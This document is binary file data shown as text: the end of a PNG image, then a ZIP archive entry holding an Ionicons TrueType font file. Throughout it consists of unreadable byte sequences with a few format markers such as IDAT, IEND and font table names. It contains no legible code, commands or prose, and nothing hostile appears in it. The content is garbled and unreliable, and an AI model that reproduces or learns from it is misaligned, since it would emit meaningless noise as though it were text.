�14;�7o��z�La]a�7l��獛�,R>ƂͷO<�w��0�M9����۷�0�x�nذ� j��^����N��/RNh[N7J�Ϧ��W��`t�7]��Gk�My?����ցoe�O}����<���n��89�?0ohQ�Ќ�9�.�8�" R�ȟ�A��;��}Ya�S+���hp���bgք�^�����lTd��^WwԨ��<����)+����3E�b@�	�P# "�������fk���9`NaN�z{�j��B�
����z�Gό�_%��j	���\Ql�
���/
in��)���Yd�>h���Ց`(�>|4�;O�P�sg<���xUr8-g's��Q�a:���#��'c�_8(�D�x{�)Th%d����F
#����HQ��Ζ-���rK۲�?�;;�~����f��m�T#���Pܥ�׫�O�)�~��ά	̈́y��a�����-KYv�N���jg%�}Q�?��W���}��r4��TS7��ӑؾ��/
	����.8�<e+Uv�u�&	y$��Y�8e�Y�)�D��L�"�A�t`f����̚�S���/��1);촟�5v^dqz~�Qv+���ݬ��z
)2E���\!�-C�?paA��n〙x��)��y����nKDvh�v`�~q����A��W���d�Ҷ�S�i&��O��pWsUA�nl�'��Ǻ��H�t��})�LFJ2MƎ
)yE<Ph�`�x
 ��P�9xRcdn��ݙPSDM��S�CƑ���6'�9�i7U�`��I���D�_)�f	CJ;M
U�0���³�v�5c�:���m��D#�"f:/=�w�	I<�P�>dr#�5J�����G��>a����^��=Tѝ	�������>��o���b�t��(�٫Y�B��gM��6��ʞR�hF���Ŷ������#A=R�{D(�n8�>�3����,\D�|͈��:�����d@�"���u�ev�Q� i���A�	У'."���=���*8w\����n4�=_Zk�ViO��^�w�\G-�P&��n��R)�OL+�>��Åbi���`���(�|�]4B���F�����*��q��'Y���hj�*���1]�1v�\�O���ߗ�*�	X�xk�����$�L_�_6T>�F}�i��-�|ݮ�XȄR&M�4�r(��dO˹�]Oל	#qbǠ	��&��|B���RP���/]y�6h�}�����ʹ}N���)�YlwWPw��^(U�V9��k�ط�T�uW�L\����U��j��\\�M��F��A�&8��Dv*�.��O
*����fM\�Lsm�E
�f����#��K��4'PDw����9�T�F��HK��$�TD7(c��jN�y%&���8�5���`�:�P���U��I�+������9�,%���+�H�����M�CJ�q� �"�+�4�i�C��}�#q&p�����>a%byrK۲��sW&���H��H"П4CI^;`A��sg*W�n���ssw�$�ֿ���إ�d܇.�(p���n��kJ�j�'S O���@����o��&ߪ�zak}N��KsNj�&^&D�8�׉�B_�����'\�!���˨��`���aM�sA���iFD�/��'9+�,�W�q�/��N�ׁu�*�'�:����VV�)�*�Mz�����!���u+�֋}��.-�h=Q�_/{�x�^��gǂ!M�'MXw�(Q��W���u��N E�V�t=��I֥Y����W>��c@ޙ����A��b��!ϧ�#��.���r���4���9�k��Ӊ�`��P�/?�_W�	u��Uf��W��_���ٍ*����
�m�	�@4#Zc��/��H���t�B�&�\}���uo��C�S�֜�8/�}2�9L��7F|�럑�x���S�J�GVɿ%�Z|l�`�P��9���}�F\\0�ު���@�el�j��9٫�\��	�Jz�䟦��J��P�>Xk�F�{�"b��A��U�/,����rj�����H�_�L��S�|(0�"H�h��s�}�c�#&��h��z��"2���@!�w(�܇.,h�Ѕ��rj$�	O�S�����O�_�aO8�u�@J>9�=�w?Y�P�^n����{��
+Ql�N�O�˯X�i>I��@��?�47x�D���+�T(�� ,
I����a�y���/��}(�8�%��q�����oJ��<�M���~K>��`�Q]ޝ��H(��KY{�]l[\�T뀨�B�P0�y�C���48;f�ú,?VV:���Lq���'�Wm�M�KDuH���e�:�3C��c�J;��j��X���B�A�sz~ߠKz�Fo��]�/�`k���L��B"�ɶ֮6vH�
q�@���ټ������6�o���  IDAT08R�~
��@�ݦ[;�:��l����K���{/��HPv�P��B����K�(�*�ʹ}^��+��1���4��@��q#..�I��J�n�9ގN�@���ReS�'��/�FDe½��}�o�#	Ž���Ы���NFD��}֠�1=���/#qG��c��P<�*sR"8���Hǡ�4v�i��#��#�O/_����-:�%����oy�9]1'���܂�p�)�3F�&�(��1���۷\p��3��ۘaa��BD@��96EP("E�*��P�~BPD�QH�qZf_��&W��$0��ۗD�Ŗ���~,/�"E��G���#��?;�_:ΆNz&��Щ�
	(RE!�=*R��

�/E�����%�>hBG�'��>K,G��s{��2b�	[T�X^��E1�j��ݦ�n?�п	�;~�V��E�z{�D�GK�Riha3�Ӓ����U�D� �F{K@��`��}��c����د0�8R~�>�~���h��8b��~Ǧ�$����`.�H�O�h�
fe��KL��p_>ƙT
%.	��&�
���A{��`>#�~�L�Z�J�� +eE�*�
5bp��t�E6�0L������.�C(L˕�`�
H��*�����ݩ0�~��Op6�"&�3b�/YM�`�4xL�)����W�sH��d�V는ú���{"9ȴ1����s���x��fY��o�-��'^Γs}E�<��?���l!��f��/���{�Q�)x�j�;Ci�c@ޙ~��g��R�y��y�Z���9=��&�B+���,���5���VQO�2�E��)��e�!�Ѭ���(>������3Ww4T}����h(c�?X��1�~
�������cʤ"���Ǥ�T�<%�"���U�1"(b�5 Z�
a^a�WT�sg�|�����#RbM [	��w��e��#ѯ�����'�j4���v+�D6�@����R�H���#��#�M��Q�Q?���S�0ttZ�j�E罳���	�6�|��ȥQɗ�
V8Ab�|DT��9�~��p_$�bp���/g��W_�����ۉzU�#����J��E:�E:*!ES������ň�B6RH������"U����E�xq:��G����<�M�dl:'@m;e�@�[O~`�J�q������q}����3s��9��U��]��P�̿pTkL{��%��Q��gf�`��<�h$���P�*Jdgg�'K7��q�mU������è ���:�0[[o��=U��0�tdz�r`��pd�4�.A�~\ ���L�nݬO��8��oq�+� @	ZμU�L0q�H)�e�U��33��sՌH�iD�f���q�){د�F';�G�� �	)�st�n��?��+�T�YE��\�(%D?��b=W�$���@�С��4���5"��f�Ɖ��PT����m������ъ>�J�����5%EĶ|41�>*ӛ�⽅|��V��8ɲ#_�iq�M�ŷ�m����l�m�����K��B;3o�)=�X=*o�J
�*O��)'4�3�mG$�d��ث�(=�8�1�<�i۶WYMK{��V���\����i��ezn�QwI�k/����T�;H����x}���y�A�~���9٩�}��rH'VF�H�=ˉ�:��b/�ӊ���5��I�e��+�+��w��)���$���g!��|bp�����{��.�-��{V����̋���*�w��3�m�&]A��_�Q)Tj�_��m8}U�S*�ft�R����c�&T[+P��|^y}t�#d�&`h�ep�4�]�����f�9�W@e)�ݛ'�s{�O �c:��Rc*6��+�D.��ƅ�<���:,�T��N�!�#����lƘk�ͪ�{a/�sǿ����+�_����@c�U��EH�HP�Ȟ<p0_՞�t�ܐ}2x�@i�u��,X��{U<�`V���I�����М��>��f�@����Q�-��ȝ4[3��`��D�����3�ŏ�"�g8#1�M��5I�!�xj�xt��{�{dq�x�rn�N9���b���_��;2�@����
��N���������m��|%�Fb@��/ ��B/�
}�`v~��*%��[z^O��+�[��T�'
	�d��
>�4����6[3�E��N�@�i�q`m��C�r��޻`�8痕���]9���Aأj^����BD>�� �%@�u3+B�3	��Ӫ@�fkf����p"F�H�k�gK��&�B1�`ָ�<�zU�3=��3^lO&=��J+�RTg{), M��B#
�����4��F�C�m;
�Tm���ي�@uH��x���&����r^��<���/t�W�Z����X��g�]"�Ы=��d]���6�)θ#Q�C�AM��\��V6����y�%�@�AU��?��rZ�+�]��IX3��t�Uv{�v^�چ��ŦO��a��}C��0�:
��y��ܭ�ό���O
f	���zn�`�s�@Z9��Pʄ���L\n�m��J��U+�����+��x�nc�ۺ�ٺ�ׄ3��L�B���:�l��*��`��}�R�%&3P��YW��;^j���Y3f�{+�q��8��:�ԟX�>��L
��`�6x�Pz��;�u��}�8���{�B^�/����%�:>��O'�>�'�>Uo���� K�<F�w��,��d����'�m��T1�c!�C ���t�@ 6Co�������T/�|��d���?�f���b�`�i�f΋��-)��JT@�s�ME�2S�bg��q�g�?V��d�ݵ�(t&�k"r�T�}wv��P�S��EFD��L��;-��%=��ۢ�!���I#��N��|(��w<7"��Ko+h�f����!��
�o21_�fK�ߋ�n���.i�)��P�
����G���g�+�DZ��@tS��>!_
��/��^d��� a�'����g���@�W���4]=�~��)�DM��np�7g�-_�E�kެ,�/Uh�Wbj�`θ�s��*���n�����jc����T7F!Z��(G�dt��B{����"�
|�d�k��S	"j@$��2si�XF7L�x���۞��j��Z����i$�V�R�����t���nW��s���Es������j	��2t�8���j�f�ߢ�W�=���ܶ����%Ҵ�<p0)�cv�&+�V\S0;oy��'��+���"A��^_E{��u:,a��,�Ԁ�D��fk�Ni�qa�(���$V�Ƨc0��u'H���[},W��"�>T��s�Ȓ�gu�����{��znD�y��EX3�j]KJ��	��'Z~�.�B��Y�0ڋ�@6��W͛9>Q�w�>��ypiFǛ�D�}i7c�Ҧkg7��{IE�@4�3�%|���\�v]�"�-��ޝ=��h�u:�4��c���}^�QM�?l�f��Qv-i�Z�*��1��<��S�^]-¡]����Ë��|�)zM��6E٭������h$����&M�b��~�Lf�嵍��kiF�@���&Q���'�U�[�!.v��{MB��5���Y�Z*�??��N��̖^�����~��a懪�O:0��-My����v)�kQ�V�f%��n�}k�Z���:Y��…�՞	��S��Y�{�񕦤]m^~o�)y��GOU�4���`�[^��N{�6<ߪ$��СO���[+��J
1����
��m�P��*���,��5	�O>;;�?]�i�<�g��Z�&]��tdc߾�Rؿ zR��,���7��P�o�v�Pz�ފ(
v*����~�V���p"M�nݬ_�9�^��|v�'�=qOt=K\6�V���N�&�-{�o+}�d#���M���R��&��c:�e����:{��P0p-[f����2�n^��QF�3�e��/﹧li��F[�/U�=�^�n:4�́]{v�Ya�?V�2e(>6_]p��h&��zn�x��A��P�L6��[�n�{�9�����@�^*[]g�{ Ҿ���x�7��Qc��nذ�D��M~��H���=�s��Mz������Qm�ԛ���i�����WA�{+y7�H�ܨ��P�L&�hٲo��3|o���S����^�hbT�����xM��`��-S��>�etߚ���k����1Pl�NFe�u��~���(_�c\g
��ȟ<"wO��N�~Xw�y�Ѕ@�V���v8�LxI��.]�){&�=6�Y���n3f̈��e�S�72��ɟ�3�؏�����Fk��X;|xY����՚�빲��~�j(�K�Q��N%�n5�M	��s��+�%�������ci���7�I��1�k�g�^/��_�X7E�嗑��.����d�|ρD&8=g�R�ҥ�͠�R}„MD���ϓR������$��OfqF��j%�m�0�W[g5];�p�MdN[h�fp�C�0�O�Z��޼|��o�P��c�Ee3߻r{4}(���>������{AQ}��O��͎��
����^�q<�2:|?7�i��A�j�z��z��{�9$���k�u6R�A�Ԕ"���5�Θ1#�;ä���9��]�=	]��R��^��2�u	��t
�&:�tYs��A�㪞?e<��\�g��/�ח
V޿e
;l���Q�yn���:ca��:.W���N��pk��d!���@�B��A999e׎@� ��i"x�	�3�"���,��om۲&��n<s*,+��6���B]���*����by���ft�@���LWh��MWͺ4����JڷT��@̍<5P}�`v���*�P�����A�O��BxJ�Q��X�d����͘a��V���_"ܔ���P�9�ҥG�H�ZOǹ"\Q}^R�%�����_
��p������<Ey��9�RD�ⴠ�����QA��2�}	0�Ť����CJ�y�ĉ{�����
zzs��mB�d�dtzMD��'����4�&����v��>df�iʲf��t�7��~�y���}�#�����Ha��q�̳T�y��d����^X{��€`���}k�:��,���*Jk
�O٨꿖��J$�KJ�����bU�C���NF���8�n)�7�C�+�./8�s@S�^�"�ͳ^ڭ���8�P3�<v�ExF�"�G�:��,n�f�>��
�y
��Ҍ�Dj�D�D@����Y2�S�a�-���D��
�8o��d�'�
o{Pf���*��=�S"�@Tϟ<RD��9�M�p�9�5
�.�߹���
��
�*k��]���X�pmV#�����T�[��6�9 �H��\�wj�O'�>���w��_0}ǡ3*��3'G�hviF��bI�|Ì�%5iH��v�6��,d�������X0+L,|�>U�"3j:����E���U���Ft��a��
�ߓ���s���o�`s`_܏CeY��s�l-��8���#ޔ8hs� �=��n-~XV�u�\��yP�#�u�ΐ:W8�-S+8K�qz�@�!���{2�O���-�^�~6�5"�1�XԪ��R��J����\Ŷ�`�]o����w�bW���79��?������=����	H5����87o�r���oAt�
�)0�����O���%ײV�B���تos7[�f�n*x'oV,|�kc�˙��8�	�$�i����C��h@�b�au2F����yy�V�!�~'R"fm:guR�w����AuM���@]6���c@���t9��w��#��]��C�&�)�e?:-�5.����K+1�����C����A3ŏ
���9�&��{n/��d#@o��N�߳�JR�ô��w@g0�'x`��ϟ��A\
�_���.��Õ\�QB����9��f`���w{ͷ`�1I+��m����ܻ}�6��o,|�s�.�P��#�|�w����ơ!�$���5���)��Nej=oVn"_�p����]ga%��!�)�F�7l:�\8��C�	@�.og`��*2Έl#˺���㾈�k!#�
@
}���Q&�</#D�R�bKR	@��Y��?���'�Q��䭎�_� O6Jgr��`��~h���/�G�W`��0f��$���O��b����U�g���9�ؾ"�
@��|Ϛ]!`���8�	N���
C�^��")�]�G<��V�ߦ��|o�x��S���`(�N�?�3(:|x� ��0@�e���X�ȑ�Юs� x��-����[Ι3�h�1�98�@����=B*�u2�^|q73��BW1%���v�z�{���ja�|�����X$v�����R�JS�sIF�E4�Ťֺa�ZFj<C�$�P�.^"`�'k�E�r����{+�� Ȩ�T��Ƣ0�����Ŏ�Rυ���޼y>T/�P�"G�	@�nݬ�]�&0h�{�,IAj�E�ƆvU6�ض�8�W�ư6���7Q<u�L@��$h×!b3&:R7�9&���/﹧l��4�GB	@˖پ_��B���"�����mg�~1)���E��q�|?�a[Mq/�QE��TА�!7C��#D]�x�Q��1��B#a�[�n�ign��S	jaQ�y�kу�6�8�/���	>�fXE�Z��}v\��,������9X�
x��-(�W���L��v�8W
9`�Q�bBt��{�q�`�
q�7�T�o�{���^�EuK�������=�DG��W�m�wؗ�PT�2DV�e�,�61	@\�e���(w��\&n��^�����y�E*z-n�}��/������ۨ���(�lG##	@��M���S�.�ӹ���|V����.�+��qx��\����uw�8��!&�E:w�K.e�K�˽ث�+������1C\�Gt0��;p`��e����sh�ep��T���7�兀Y0g\V��s�a�%@R���[Ī/;�(s�ﺫt�|2�JL�S��UR��.��dt���"��c�<]�*�:��Ԥ`�rKVn���Wb&�t�S�ϼ��=��V��Y�ã�W<��r��o�{b�O�����_��ɆD�2 ��D:up��R>��{U�,����h�7�y����D�]"E����r<5D��@�k�.�C?p�{U�c���*�9Wf.9��@$`y-ffU�K��#�Ю�ະ�̎E/����f�;�>%".��'����l$B%��5hݱ_C��y��(�����&Z�$
�x�s�Q5�s��(��X�mTd��s&��~ذ�1r�pQ��]\f��D�n�G�sˠ�ƽ
_
;���O��x<v�
�@��Z�mJ�Ņ�@��Y�,?��9n�"���ςw��Gڏ�E�k(���
rr
��U'zl:Ա��!�DT�t��(��,wk)"���M������H4Hu��Ia�_�#b�ځ�0x3�t�A�(ݴ`v�k�?Y���!�����KX�dc��׺z^h�)�T�V�=�
��9��Dd�%��*�4�_**���[_`YV%T�+�zwX�y1�YIG�<~ʃ#DŽs���Y
&a@���
�t���D�Yֵ���Ɉ�E��g�&�7��Fr�썝�X~�?`�����_-�>⛶���h�[���EES4%�_�ʕ��
&��KI�z�ȑ�c��D�����Dd�p���~���<�����3�a���3���3�IDAT=�u����#0ʾ���r�mwa��Er���x�������ª��e��48r��v�����*�b�B:,�3ޱ~\I�t��:9���{���gn�����"0�ɋ=�v|���nYv��&`��Y�Du�Ǘ�b����%MD�4P���ߵo��?26���؆�!h�֭[���T�[u��v���&��ȶP�ݽ�Mʙ�ˉ��)�I�Q[j���Tq]P
ͳ7v
�Ai(����r�2�����g���{sǮɳ

Y~�'G���Fe�)v=�M�R�+�`�w>-�
�����d���.["���)xg�7!{v����`i����x��N�K�_K���GU"��U�䛗?��`[�J�m�M���k��R���_�XW�{��ez+{>ɹh�9�?���`��\Ut�
���7(�m_�����m����Px���p��8C�r�1Z��-Z�0�!~d���\�o}�lL��C<�	E�`Hl��u�HV�h73���-П �g�����!�8Mx��v5��5��z���L߽sѐ&�KD�%��`0��`0��`0��`0��`0��`0��`0��`0��`Hz�D�Ӱ�zi[IEND�B`�PK!3c��\�\�fonts/ionicons.ttfnu&1i��pFFTMm��*�OS/2A9a�`cmapmnx�cvt ����Tfpgm�
x;�p	�gasp�Lglyf��k�t�head�*��x6hhea����$hmtxA
I��~loca����T�maxpWr�� name��u���post�������prep�����V�=����,��.|�LfGLf��PfEd������.�@ ��2 �7�:�D�K�}��������������������������������9�=�G����������������������������
���?���Q:765/-*(&"!	
��U)@&YMQE+33'3#�wffU��3��
9@6YYMSG3+%#!"'&7625#75#�	�^	�@@@]		��00P������!@YMQE+#53'#3���`� `@  �` o�BK�PX@(jjj^MTH@'jjjjMTHY@"!5	+7'3533#!"/&?332376;'3�P`PQ	��	H*>2�3>*�t``i
CC
7>-->��@?ja+3'3533��p�p���`@ @BOSG4+&5463!2"/

�		�		�		�p)@&BhOSG"+%#"/&4625462762	i	
	j		22	}d		d		0�

�0	��%@"B@?MQE+573#�����p�p �`@BOSG%!+632#"/&4?�		�		�]
��
�		�7`I#@ jkOTH#$+6232+"/&547m		1�

�0		d		@		22		j	
	��%@"B@?MQE+%5#535������p�p �`@BOSG%!+7#"&54632		�		�#

�		�7`I#@ jkOTH#$+"&4?#"&46;'&462�d		d		0�

�1	@i	
	j		22	��@@ja+##5#��p�p����`@ @BOSG4+%#!"&54?62=
��
�		�y		�		�p)@&BhOSG"+7632"/"&="&4	i	
	j		22	d		d		0�

�1	����a�j@g{a
Bhfh		[
[
\

O

S
Gcbrpb�c�^\NL'*"+-"+%#"'&'&'&546767632#"&5##"'&5476767632373327654'&'&'&#"32767'"3276767654'&'&'&�$b82-+$ -+/*N<$
	&)		6#(

 !'/& !�	

		)%$(+/0R0H1&	
+


q)$		

"#* 
�





����
3U@R1(%B
h[	YMQE32-,'&! 

3
+!3546;2'354&+"!#"&5475#"&5475#� �@ @I33I�6&&6\x#�# ��@3II3&66��$

$$

$@�@@@=BYM[SG	+7"=43!232+#'37#


}
%

%
�d=d=@
�

6
l
6
�oQo@�@G@DYY	[MSG
+2+#!"=43!25+=!!=3�

%
��

}
 ��Q 
l
6

�

6`@  �  @�@*@'O[SG+2+#!"=43!2�

%
��

}

l
6

�

6@�@G@DYY	[MSG
+2+#!"=43!25+=#3=3�

%
��

}
 Q 1 
l
6

�

6`@  �  @�@B@?YY[MSG		+7"=43!232+#'#3=;5+5


}
%

%
� �  @
�

6
l
6
�  @ ����/:E&@#;1.+#"
BOSG.*+617=432#"=&'&?65'&'&76?64/&?64/.DuTTzDZY�

0A�
qQQu
�@VU&O
�O
����48Q@Nh[	

Z
M
SG555858761/,+('$"44+"&=462"&=46272#!"54;26=3326=!~�H�P8&���@    .�p�))))��� �` $,O@Lh
[[		[OTH*)&%$#"!	+2#!"&=46;76;21264&"624"2"&4~��E'	T
)�L66L6��:)):)-��(
)�7L77Lo):)): �`!%)-�@�
	B
[Y
Y		YOSG**&&""*-*-,+&)&)('"%"%$#! 	+2#!"&511463"!5&#275!375353353��x�����`�@`�� �tt@ 00����$,?@<?[OS	G*)&%"!	
+7"&=463!2+.#6"264&"264&"264L ,,  ,, OYrr0)�**�)@6
�����%@"?OSG	+7"&=463!2+.#L ,,  ,, O0)�**�)@6
����.?@<"B?O[OSG'$!.-3%#3+7+"5#"&=46;;22+'&+"&=463�Z5&u	s%%K
e%R-0�e"9#�#@<#bF"���� (0T@QB?h	[
[
SG.-*)&%"!+"&462'&#""#6"264&"264&"264�Vzz�z!T%Brru�vvS;1X�����?@<B?hfOSG+"&462'&#""#�Vzz�z!T%u�vvS;1X����7^@[%#!,+&B?hhf[OSG1/*(77!"++7&15&547327#"'#&#"742'&#"#"&547>1fH-F8�HfEHe`9#*@*Ec5?\cE/+JbE9L����$7@4!BhfiOSG%)+2"&4654/&#"&'&#"27������So,N�������*K�@?a+'./&466�
�

D c�
�!��

I"""
k
��@
Bjja$+%+#"/&54?67632632���P�R���N@�=	�a+7176"/&?6��
����������(+7/&4?6V���	����
������
(+71'&?6/&7��	�����
�C�@	�a+7/&?62/��
��������`�>BFJNK�PX@X`[
[YYY
Y
	
Y		O		S	G@Yh[
[YYY
Y
	
Y		O		S	GY@BKKGGCC??KNKNMLGJGJIHCFCFED?B?BA@;852/,)'">>+6?6=4623'"32432+"&546;+"3!254+"&=5353'53'53P&`

���I%	%�pp����� !!`��h

��G

�  �  @  @  ����-/@,$	B[OSG$$)+2"&4'76/&#"'&#"2?32?654������LKLLLLLKL�������KKJJKLLK��%@"
BOSG+%"/"&4?'&462762v
������
�=
��
��
��
���%%@"%	BOSG$+$%+%#"/#"/&4?'&?6327632|&��&��

%��%

�=%��%��

&��&
	�0�PO�BK�PX@j^OTH@jjOTHY�#'4+%2#!"&5467>32>32n"00"��%5"!9"0C�1#"16%/	%E1{{%4@1
	B[OSG$!+'76?#!"&546;#"3!25{

 7
B7�@� 
��


� �

	\
7 

)7�@  �


2

 
��

����5@2[[[OSG+2"&4264&"&2"&4264&"�P99P9O$$1������fHHfH!9P99PT$$򃺃���HfHHf � ,8DI��GBK�.PX@8

`
[	\		[[OSG@9

h
[	\		[[OSGY@FEEIFIDA333333755++"&546;2;2=4+";2=4+"54+";2754+";2'3'
	�		�T�GG{{��� ��/<G�

P
\

�

M

�

NNB �!6@3BY[MSG!55++"&546;2'335#"&=#	�		�S]:��C��

O	\6?��RP0?@<YYMQE
		+5!5!5!��  `  `   @`
0@-[OSG

+%!"54?622#!"=43/���		�����		� ((@�@=3@0:&4-)B[OSG10ID+&'&6;2"'&76+"&=46?27676/>
	��	
����	,ASbbR@,+ZV��	,
]SS]
,@�@'O@LB
Ah[[OTH&$! 	+2#".'>264&"7327"&46;�nr:$;$<<""AeJ55J5Z

,@�0,#A?�6J66JE,
 `
$B@?$!BYYMSG#"
	+2!546372#4>3#!"/&6?!5=��	�����A?	
!
	J��
  ��$;@8$#"B@kOQE! 	+%2#!"&=47&/&7%6'7#'#7�		��	
	r	���3>?32�	�		�
-J.D�:$::$:$����@Fq@n8D@?>5	A.-,+"%Bh		h		fffh[OTHFE$$(%
+.546322#"'&"'&'2327'7654&'&'&"'&'&#"7#73s4?�]#!5?�]#! 1)		6-4$7 2)		7-5$%&U�&Ui>]�	i>]�(-60P 5(6-61Q 4)�q�q��@�@@?ja+537�3��3���� �`!h@	
BK�PX@ ^ZOSG@jZOSGY@!
+2#!"&/&3%!47>;2;2n
��
X��K�
�

�1!3	
0�P&@#B
@?OSG+7">35�Xc%!-U4���&@G7-P����+3B@?+)B%# @
?[OSG10-,"!+$&&"&'6&&'654'6776'67277264&"[%"	L	0&
%%	"	L	"�P::P:�D%%%
&0	&"&
%%
&�:P::P��'/K@H$#"!


B[YOQE+%#'#5&''7&'#5367'7675373264&"�, 6!L!6 ,+6L6+�,  , � 6 .. 6 L6
))
6\ ,  ,	 @`#/;GS_kN@K[	

[

O

S
Gjgda^[XUROLIFC@=:7333333331++"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2@22�22�22�22�22�22�22�22�22'22222�22222�22222���N2@/10B[OSGHG;942 %%+%#"&=4632676'.'&/&'&'&#"632#"&'.767676762 "	
!"
	" 4
&X&	4�'c0 #j"!



  #j# 0c'Y8
8��@?a+'&4762762~""��""WV`#e#��#e#   ����7F@C,Bhf[\OTH;'#%+2"&46&#"3267654'&#"34762;25476?6�������

1&1	"	'	�������
�!
1
		���(1mK�
PX@(`f[OSG@)hf[OSGY@*).-)1*1#.<++"567>?67654'&#"#47632.>�'	>
M,.=B(s5	.
	 O��**��
@
@jja+%##5##5#7�0```0���������.�@ BK�PX@/``[[OTHK�PX@0h`[[OTH@1hh[[OTHYY@	.,)($"		+$"&46272#!"&54634#!"76322?632d(($�x!c
��~	6
�((���H�j���;��)ISH@#!'3)
?(	
7*BK�PX@Mjjj
`
`	

	`
f[
[
	
O

R
FK�"PX@Njjj
`h	

	`
f[
[
	
O

R
F@Ojjj
`h	

	h
f[
[
	
O

R
FYY@"KJPNJSKSGEB@<:2-%$#" +'%.?&/&67%6>3'#5&#"7754#/"?63232?632'"&4632�


��

	
	(	
��
���
U
:�
f	+4	��

.�
6
	
	�f�
		?�m1!A����>@;[YY	M	SG$"
+%&'&676&"2645#5#3#��]]��]]��B�]��]]��0��������	.@+[YMQE+;#535#53&"&462` �  `((�0((����15D@A B[[[OSG222525,"#	+"&46326326764'&'#"&547&'&"27&42x(z�zzVE6

?4

$N$#44#$N$��;6EVzz�z(
��4#$N$

4#$N$#4Q�� �aK�PX@%`^[PSG@'hf[PSGY�33#31+43!2#!"56254&#";254+"			��	�	b��w		��		#����#�K�PX@0
^j	Z		[OSG@/
jj	Z		[OSGY@"   # #"!	
+2+"&5463;24+*224"7#�

�

8  `��
��

P
 �� ���+G@D! BY[[OSG	+($#		+62"&42+"&5463264&"75&'#;2bt�6<**<*�
��
�
��H��*<**<�v
r `:@7BYYMSG
2+!43!25!5!"&�@
�
 ��@7d�dV��
���5�(@#@a+%''&'&'&7665./�
*6Y$J
%ge),,
-U9,
35OE
 C�V'!n1
+*%5.0`�  A��AK�
PX@+`^	
[OTH@-hf	
[OTHY@@=8620+(%$
  +?2+"'&=3;26=4&+./#54&+";#"&=46;2�p!//!p30p
0p0!//!p)�0/! !/0   0   /! !/��!@?kOSG+2.54264&"FbG<)`."".!�F23�)(?=P 2l!."".����*A@>)(#"B[OSG'&%$
		+"&=46;54631232#;54'5&#1"	

	V>>V	

	���(( 
	�	
E\\E
	�	
2��N�0'@$+*#" B@?ja+7>54'&'7/7'>767574&'&5�%1
/!=1L,~?1L,;%1
/!�:9'+,85T9C'c6T9C'3::&
,.6����+3@0k[OQE	! +	)+"&4622&=#&'5+&5#&=46;d  %U  r
		
i��

��i
		
r
�~!3HT_emw��@����zy]\ZXSQPL/-WU>vutqplkihgfcb`;:987610*(e'%$TI54#"!

B�x?A~}|{OKJA@,+ @jjjkMSG_^NMHFEDCB32&+#"//'&54?676575&'75''&#75'7>753"+5'627''6767267''5677./77'7'77'�aaaaiab�GgII
iII�G��
�
_�




7	��
BBBB		GBB���2�21�	
m1e
�1mw1pr�1X��.		



�� �'3@@=" Bhh[PSG+546226=462#"&=&/#.57462"&5>V>=/		/=C-@..@-�)>>)1K
::
K1� ,-�,,���� BJn@k0$,+Bh	

h


f[[OSG"!JIFEA?>=<:987542)'!B"BC+2"#+"'&'"4#&'&'&762#"&/4.'54;32332726;754"264*k
			� 

��
_|Q!!���+�K�	PX@7_Y
YY
M
S	G@6kY
YY
M
S	GY@&'&%$#"! 

	+*+2#3#3#3+#5#"&=35#535#535#5463� ;;;;;; V ������ �%+%+%*MM*%+%+%����(@%YMSG+2"&45!������`�������m  ���@OSG
+%2#!"&463a

��

����@MQE+=!��@@��#F@CBY[MSG##

	+2#!"5435!#"74>57;��V����\#	--	���
���
-)
	���!@OSG+6"&462"&462"&462G**q**q**�((((((����'=@:"BjO[SG!
''+2+"&46;5+"&46;>?6j	

%<�
%=��	��'*�&�*
! �`#A@>[[OSG
#"

	+%2#!"&463%2#!"&4632#!"&463a

��

B

��

B

��

���O@/?@<YYMQE
		+=!%5!5!@��@��@�  `  �  �x48@5jj[OTH0/" 44+2#"&=476#"&=46323276=4'&26=4�! 0"."%�'/)�&$���
�	

	�! ��$@!OSG

31+7+"54;272+"543`HH�Hh��h��<>@;+"<6BjkMYQE'&!+%#5#53533#+476767>5454&'.'&65&'&62�*33*33
��M,\,/Mx3*33*�	
	55	
��4dR@PNIG3
BK�PX@^ORF@jORFY@	LK75#"+%#4'.'.'><54&'.'&654&5&62+4767>54&'.'&65&'&62�3b
<
$��A(
%N&
A{ZG

		
$%	
�A

/0	
#��0!@0*BOQE +!+476767>5454&'.'&65&'&62���M,\,/M	
	55	
����,%@"&B)
	
?ja#"+7''74?46'&54&#4?65462/&�3DD4>�	��	�>�J!  !J
1�?299q�1
@�@OSG%%+%#"&546325���		�X����<@9hfYMTH	+2"&45#5##335������`p pp ������m pp pp��0@-O[SG
	+%2+"&=#"&46;5462a

��

���

��

���+@(MYQE+%##5#5353��@��@�@��@������O@Lj
kZ	M	Q
E+7#537#53733733#3##7##37]]e
ck@j?]fck?k?jj`6T6����6T6���
TT����#'+/3�@�

hY

MM

Y	[YYMQE00,,(($$  030321,/,/.-(+(+*)$'$'&% # #"!	+2++5#"&=46;5!5#5#5#535353�!"(�("!(�������@�pp#{@@����P00@�00����@OSG+"&462&�zz�zz�zz���AR@O42.-)
B`h[OTHA@<:9876%#"+%'3.#"32?#"&'4'=41'54&5&=4746=7=65>312;3`hJK25KK5*!+6?CiiCY,A`p0@KjK.)TAATP#*0�P-@*
B@
?OSG+2.#'77+@$B9�����RR+==A%\����9OD:0�P&@#B@?OSG+%.#'72�%cX��4U.0@&\��P+==}�1@.Bk[OSG#$+%#"/#"&462&"264}+T&*A^^�]aP99P8=,V]�]]B*$�9P99P �` E@B B@Y[MSG$4+%57#!"&=4;#7"4>35 &��x
:�=A"A+��F;m���(88,#<``��(7\@Y$*0+B@,?O[	O	SG)))7)6/-#! 	
+"+532>7>;55&'#53255#"'67>73R!-3//$
,2QQ�#'//>3
�QQ@5$*
 +?
%)6QT0%#?0
r/TQ65$' �`%6@3BOSG"
%%+3276327632#"/#"/+"54�
vv
�`qz
?N��N@
zq( �`#6@3 	BOSG
#"+2+"=#"=#"54325432543t�ww�`��qz@NN?zq
`�<DPXdq����@�}�~ytBz@jh"[ #[Y
[!

Y[
[		O	S		G��fe  ������������|{xusrpokjeqfq`_ZYVURQLKFEBA>= < <97430/+(%#!3"$+%#;2=;3;12=;57++"'&=#"&=#"= "2=&2"&=4"2=&2"&=47"3&/&#1'36;273#>7'7"&46322"5432�1

	1���
#	�	#
G�	b
�<Y4444YLLZ3
33

3ZL``
`

`
``
`

`
`)(		
&J
		

	`�(4IS\
@IH?=EA<5B@@K�	PX@?j
^
j_


ZM	[SGK�PX@>j
^
jk


ZM	[SG@=jj
jk


ZM	[SGYY@#UTKJZXT\U\PNJSKSGFDB:90/#3#+753++"'&=#"&=#"562"&=4$2"&=47#67'4?63272254&#"3264&#"@�
